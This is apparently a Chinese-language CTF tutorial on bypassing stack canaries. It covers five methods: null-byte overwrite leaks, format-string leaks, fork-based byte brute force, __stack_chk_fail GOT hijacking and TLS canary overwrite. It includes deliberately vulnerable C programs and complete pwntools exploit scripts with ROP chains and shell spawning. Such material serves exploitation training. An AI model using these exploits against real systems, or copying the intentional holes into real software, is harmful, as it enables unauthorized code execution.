# canary 介绍:
- 在函数调用发生时,向栈帧内压入一个额外的随机 DWORD,这个随机数被称为 “Canary”
- 如果使用 IDA 反汇编的话,您可能会看到 IDA 会将这个随机数标注为 “Security Cookie”,在部分书籍的叙述中会用 Security Cookie 来引用这种随机数
- Canary 位于 EBP 之前,系统还将在内存区域中存放一个 Canary 的副本
- 当栈中发生溢出时,Canary 将被首先淹没,之后才是 EBP 和返回地址
- 在函数返回之前,系统将执行一个额外的安全验证操作,被称作 “Security check” 在 Security check 过程中,系统将比较栈帧中原先存放的 Canary 和在内存中的副本,如果两者不符合,说明栈帧中的 Canary 已被破坏,即栈中发生了溢出
- 当检测到栈中发生了溢出时,系统将进入异常处理流程,函数不会被正常返回,ret 指令也不会被执行
# 方法一 覆盖截断字符获取 Canary
# 原理
Canary 设计其低字节为 \x00,本意是阻止被 read、write 等函数直接将 Canary 读出来。通过栈溢出将低位的 \x00 覆写,就可以读出 Canary 的值。
从上面的分析,我们可以梳理出绕过的思路:
构造第一次溢出,覆写 Canary 低字节 \x00,读取出 Canary 值
构造第二次溢出,利用获取的 Canary 重新构造 payload,获取 shell。
// x00cannary.c | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <string.h> | |
void getshell(void) { | |
system("/bin/sh"); | |
} | |
void init() { | |
setbuf(stdin, NULL); | |
setbuf(stdout, NULL); | |
setbuf(stderr, NULL); | |
} | |
void vuln() { | |
char buf[100]; | |
for(int i=0;i<2;i++){ | |
read(0, buf, 0x200); | |
printf(buf); | |
} | |
} | |
int main(void) { | |
init(); | |
puts("Hello Hacker!"); | |
vuln(); | |
return 0; | |
} |
编译生成 32 为的 ELF 文件
$ gcc x00cannary.c -no-pie -m32 -fstack-protector -z noexecstack -o x00canary |
# 查看保护
# ida
会发现有后门函数,并且 v3 是我们的 canary。在 read 函数中有很明显的栈溢出漏洞。
这题开启了的 Canary,所以直接进行栈溢出肯定是不行的。
- 构造第一次溢出,覆写 Canary 低字节 \x00,读取出 Canary 值,从栈顶到 Canary 低字节的距离应该是 0x70 - 0xc。
- 构造第二次溢出,利用泄露的 canary 进行栈溢出.
栈顶到 ebp 的距离是 0x70,Canary 到 ebp 的距离是 0xc,因此覆盖 Canary 之后,还要额外增加 0x8 的字节,再加上 ebp 本身长度 0x4,所以要额外增加 0xC 的字节内容。
# exp
from pwn import * | |
context(arch='amd64',os='linux',log_level='debug') | |
r = process('./x00canary') | |
elf = ELF('./x00canary') | |
se = lambda data :r.send(data) | |
sa = lambda delim,data :r.sendafter(delim, data) | |
sl = lambda data :r.sendline(data) | |
sla = lambda delim,data :r.sendlineafter(delim, data) | |
sea = lambda delim,data :r.sendafter(delim, data) | |
rc = lambda numb=4096 :r.recv(numb) | |
rl = lambda :r.recvline() | |
ru = lambda delims :r.recvuntil(delims) | |
uu32 = lambda data :u32(data.ljust(4, b'\0')) | |
uu64 = lambda data :u64(data.ljust(8, b'\0')) | |
lic = lambda data :uu64(ru(data)[-6:]) | |
pack = lambda str, addr :p32(addr) | |
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5) | |
getshell = 0x80485A6 | |
ru('Hello Hacker!\n') | |
pl = b'a' * (0x70 - 0xc) | |
sl(pl) | |
recvbytes = rc(0x70 - 0xc) | |
print(recvbytes) | |
# 获取 canary | |
canary = u32(rc(4)) - 0xa#经过调试发现低字节被覆盖了 0xa,故减去 0xa 即可 | |
print(f'Canary: {hex(canary)}') | |
# 第二次溢出 | |
pl2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell) | |
sl(pl2) | |
rc() | |
r.interactive() |
# 方法二 利用格式化字符串漏洞获取 Canary
# 原理
格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出 canary 的值,从而进行栈溢出。
# [bjdctf_2020_babyrop2](BUUCTF 在线评测 (buuoj.cn))
printf 泄露并在覆盖 canary
# 检查程序
# IDA
- gift 函数
- vlun 函数
- gitf 函数很明显有格式话字串溢出,可以利用去泄露 canary。
- 将泄露的 canary 去覆写在 buf 上,从而达到目的
那么现在,我们只需要一个 system (/bin/sh) 就可以达到目的了。
当我检查字符串时,并没有 /bin/sh 和 system 函数 plt 表项,所以需要我泄露 libc,去构建 system(/bin/sh)
好,我们所有的大致思路有了,接下来,就是细节上功夫了。
泄露 canary
我们需要通过 gdb 调试(需要 gdb 与 pwndbg 联合调试,如果 gdb 没有 fmtarg 命令的或,需要通过下面连接去调整。
gdb+pwndbg 联合调试
可以看到格式化字符串距离 rbp 有 5 的偏移,因为时 64 位程序,前 6 个参数需要放到寄存器内,所以距离 canary 的距离就有(5 + 6)的偏移。
所以构造的第一份 payload1 为
%11$p
接下来就是,泄露 libc 基址和构造 ROP 链
泄露 puts 函数地址
payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr) | |
p.recvuntil(b'Pull up your sword and tell me u story!\n') | |
p.sendline(payload1) | |
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0')) | |
puts_addr = u64(p.recv(6).ljust(8,b'\x00')) |
执行 system(/bin/sh)
libc = LibcSearcher('puts',puts_addr) | |
base = puts_addr - libc.dump('puts') | |
sys_addr = base + libc.dump('system') | |
bin_sh = base + libc.dump('str_bin_sh') | |
payload2 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr) | |
p.recv() | |
p.sendline(payload2) |
# exp
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
context(os = 'linux',arch = 'amd64') | |
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] | |
p = process('bjd') | |
# p = remote('node4.buuoj.cn',26896) | |
# p.recv() | |
# gdb.attach(p) | |
p.recvuntil(b"I'll give u some gift to help u!\n") | |
gdb.attach(p) | |
pause() | |
# p.sendline(b'aaaaa') | |
p.sendline(b'%11$p') | |
# p.recvuntil(b'0x') | |
canary = int(p.recv(18)[2:],16) | |
print(hex(canary)) | |
elf = ELF('bjd') | |
pop_rdi_ret =0x0000000000400993 | |
pop_rsi_r15 =0x0000000000400991 | |
ret =0x00000000004005f9 | |
# main_addr = 0x04008DA | |
vuln_addr = elf.symbols['vuln'] | |
puts_plt = elf.plt['puts'] | |
puts_got = elf.got['puts'] | |
payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr) | |
p.recvuntil(b'Pull up your sword and tell me u story!\n') | |
p.sendline(payload1) | |
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0')) | |
puts_addr = u64(p.recv(6).ljust(8,b'\x00')) | |
print(hex(puts_addr)) | |
libc = LibcSearcher('puts',puts_addr) | |
base = puts_addr - libc.dump('puts') | |
sys_addr = base + libc.dump('system') | |
bin_sh = base + libc.dump('str_bin_sh') | |
payload2 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr) | |
p.recv() | |
p.sendline(payload2) | |
p.interactive() |
# 方法三 逐字节爆破
# 原理
每次进程重启后的 Canary 是不同的,但是同一个进程中的 Canary 都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。
爆破次数:对于 32 位 ELF,低字节固定是 \x00,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。每个字节的可能性是 256,因此 3 个字节的逐个爆破总次数是 256+256+256=768 次
# [[CISCN 2023 初赛] funcanary
这题既然有 pie 的话,那就先介绍一下 pie 吧。
# Linux 下的 PIE 与 ASLR
由于受到堆栈和 libc 地址可预测的困扰,ASLR 被设计出来并得到广泛应用。因为 ASLR 技术的出现,攻击者在 ROP 或者向进程中写数据时不得不先进行 leak,或者干脆放弃堆栈,转向 bss 或者其他地址固定的内存块。
而 PIE (position-independent executable, 地址无关可执行文件) 技术就是一个针对代码段.text, 数据段.*data,.bss 等固定地址的一个防护技术。同 ASLR 一样,应用了 PIE 的程序会在每次加载时都变换加载基址,从而使位于程序本身的 gadget 也失效。
ASLR 则主要负责其他内存的地址随机化。
PIE 如何作用于 ELF 可执行文件
ELF 程序运行的时候是 cpu 在硬盘上调入加载进内存的,这个时候程序就有了内存地址空间。
ELF file format:
+---------------+
| File header | # 文件头保存每个段类型和长度
+---------------+
| .text section | # 代码段 存放代码和指令
+---------------+
| .data section | # 数据段
+---------------+
| .bss section | # bss段 存放未初始化的全局变量和静态变量,一般可读写
+---------------+ # 是存放shellcode的好地方。
| ... |
+---------------+
| xxx section |# 还有字符串段、符号表段行号表段等
+---------------+
# 检查
保护开的很全面哈
# ida
main
canary
backdoor
这是一个子线程覆盖 canary,首先 fork
一个子线程,然后在子线程内进行操作,这里我们需要知道的是,fork 操作中子线程和主线程用的是一个 canary. 并且程序中这一个循环还不会终止,这就跟便于我们对 canary 的爆破,通过下面的汇编会更清晰的了解子线程和父线程的关系。
总之,通过 fork,我们可以逐字节爆破 canary。
from pwn import * | |
elf = ELF('./ser') | |
p = process('./ser') | |
#p=remote('',) | |
p.recvuntil('welcome\n') | |
canary = b'\x00' | |
for k in range(7):# 32 位程序爆 3. | |
for i in range(256): | |
p.send(b'a'*0x68 + canary + p8(i)) | |
a = p.recvuntil("welcome\n") | |
if b"fun" in a: | |
canary += p8(i) | |
print(b"canary: " + canary) | |
break |
接下来爆 Pie。
catflag = 0x0231 | |
while(1): | |
for i in range(16): | |
payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag) | |
p.send(payload) | |
#pause() | |
a = p.recvuntil("welcome\n",timeout=1) | |
print(a) | |
if b"welcome" in a: | |
catflag += 0x1000 | |
continue | |
if b"NSSCTF" in a: | |
print(a) | |
break | |
p.interactive() |
# exp
from pwn import * | |
elf = ELF('./ser') | |
p = process('./ser') | |
#p=remote('',) | |
p.recvuntil('welcome\n') | |
canary = b'\x00' | |
for k in range(7):# 32 位程序爆 3. | |
for i in range(256): | |
p.send(b'a'*0x68 + canary + p8(i)) | |
a = p.recvuntil("welcome\n") | |
if b"fun" in a: | |
canary += p8(i) | |
print(b"canary: " + canary) | |
break | |
catflag = 0x0231 | |
while(1): | |
for i in range(16): | |
payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag) | |
p.send(payload) | |
#pause() | |
a = p.recvuntil("welcome\n",timeout=1) | |
print(a) | |
if b"welcome" in a: | |
catflag += 0x1000 | |
continue | |
if b"NSSCTF" in a: | |
print(a) | |
break | |
p.interactive() |
# 方法四 劫持__stack_chk_fail 函数
# 原理
在开启 canary 保护的程序中,如果 canary 不对,程序会转到 stack_chk_fail 函数执行。stack_chk_fail 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。
// scf.c | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
void getshell(void) | |
{ | |
system("/bin/sh"); | |
} | |
int main(int argc, char *argv[]) | |
{ | |
setbuf(stdin, NULL); | |
setbuf(stdout, NULL); | |
setbuf(stderr, NULL); | |
char buf[100]; | |
read(0, buf, 200);// 栈溢出 | |
printf(buf); | |
return 0; | |
} |
$ gcc scf.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o scf |
- 劫持函数需要修改 got 表,所以要关闭 relro(RELocation Read Only)
- 需要调用 getshell 函数,所以需要关闭 pie(Position Indenpendent Executive)
# 检查
# ida
- 有个 getshell 后门
- main 函数中 printf 直接打印了用户输入的内容,存在格式化字符串漏洞,可以用来向任意地址写入数据
GOT 表中存储的是函数的实际地址,如果把 __stack_chk_fail
函数的 got 表地址替换为 getshell 的地址,在 canary 出错的情况下,调用 __stack_chk_fail
时就会直接获取到 shell。
这里利用 pwntools 中的 fmtstr_payload () 可以方便的进行地址的篡改
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’) | |
offset(int): 字符串的偏移 | |
writes (dict): 注入的地址和值,{target_addr : change_to, } |
手工确认字符串的偏移
61616161
是第 10 个位置,因此 offset 取 10
payload = fmtstr_payload(10, {stack_chk_fail_got: getshell}) |
还要造成一次溢出,触发 __stack_chk_fail
payload = payload.ljust(0x70, b'a') |
# exp
from pwn import * | |
context(arch='i386',os='linux',log_level='debug') | |
r = process('./scf') | |
elf = ELF('./scf') | |
se = lambda data :r.send(data) | |
sa = lambda delim,data :r.sendafter(delim, data) | |
sl = lambda data :r.sendline(data) | |
sla = lambda delim,data :r.sendlineafter(delim, data) | |
sea = lambda delim,data :r.sendafter(delim, data) | |
rc = lambda numb=4096 :r.recv(numb) | |
rl = lambda :r.recvline() | |
ru = lambda delims :r.recvuntil(delims) | |
uu32 = lambda data :u32(data.ljust(4, b'\0')) | |
uu64 = lambda data :u64(data.ljust(8, b'\0')) | |
lic = lambda data :uu64(ru(data)[-6:]) | |
pack = lambda str, addr :p32(addr) | |
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5) | |
stack_chk_fail_got = elf.got['__stack_chk_fail'] | |
getshell = elf.sym['getshell'] | |
pl = fmtstr_payload(10, {stack_chk_fail_got: getshell}) | |
pl = pl.ljust(0x70, b'a') | |
se(pl) | |
r.interactive() |
# 方法五 TSL 全覆盖
# 原理
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
# love
# 检查
# ida
很明显,能够看到 canary 保护,并且能找到格式化字符串漏洞,和 vuln 的栈溢出漏洞。所以我们可以通过 read 函数读入数据,让格式化字符覆盖内存地址,从而绕过判断,进入 vuln 中。再通过覆盖 TLS 中储存的 Canary 值和栈上临时存的 canary 的值。绕过 canary,达成攻击手段。
从中可以找到 0x22b、0x208 换算一下就是 555 和 520,计算一下偏移为 9
所以 payload
pl = b'%520s%9$n' |
但是在这里我们也能发现 canary 的影子,在偏移 15 的位置。经过多次输入这个字段,证实了我们猜测。所以这题也可以通过泄露 canary 来绕过。
绕过判断之后。
泄露 libc 基址。
pl = b'\x00'*0x30+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)+b'\x00'*0xa00 |
最后获取 shell 即可。
# exp
from pwn import * | |
context(arch='amd64',os='linux',log_level='debug') | |
r = process('./pwn') | |
elf = ELF('./pwn') | |
se = lambda data :r.send(data) | |
sa = lambda delim,data :r.sendafter(delim, data) | |
sl = lambda data :r.sendline(data) | |
sla = lambda delim,data :r.sendlineafter(delim, data) | |
sea = lambda delim,data :r.sendafter(delim, data) | |
rc = lambda numb=4096 :r.recv(numb) | |
rl = lambda :r.recvline() | |
ru = lambda delims :r.recvuntil(delims) | |
uu32 = lambda data :u32(data.ljust(4, b'\0')) | |
uu64 = lambda data :u64(data.ljust(8, b'\0')) | |
lic = lambda data :uu64(ru(data)[-6:]) | |
pack = lambda str, addr :p32(addr) | |
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5) | |
puts_got = elf.got['puts'] | |
puts_plt = elf.plt['puts'] | |
gets_plt = elf.plt['gets'] | |
rdi = 0x00000000004013f3 | |
ret = 0x40101a | |
pl = b'%520s%9$n' | |
ru(b"I want to hear your praise of Toka\n") | |
sl(pl) | |
ru(b'I know you like him, but you must pass my level\n') | |
vuln = 0x40125D | |
pl = b'\x00'*0x30+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)+b'\x00'*0xa00 | |
sl(pl) | |
puts = lic('\x7f') | |
base = puts - 0x84420 | |
system = base + 0x52294 | |
bin_sh = base + 0x1B45BD | |
print('----------------->'+hex(base)) | |
ru(b'I know you like him, but you must pass my level\n') | |
pl = b'\x00'*0x30+p64(0)+p64(base+0xe3b01)+b'\x00'*0x1000 | |
# ong_gadget base+0xe3b01 | |
sl(pl) | |
r.interactive() |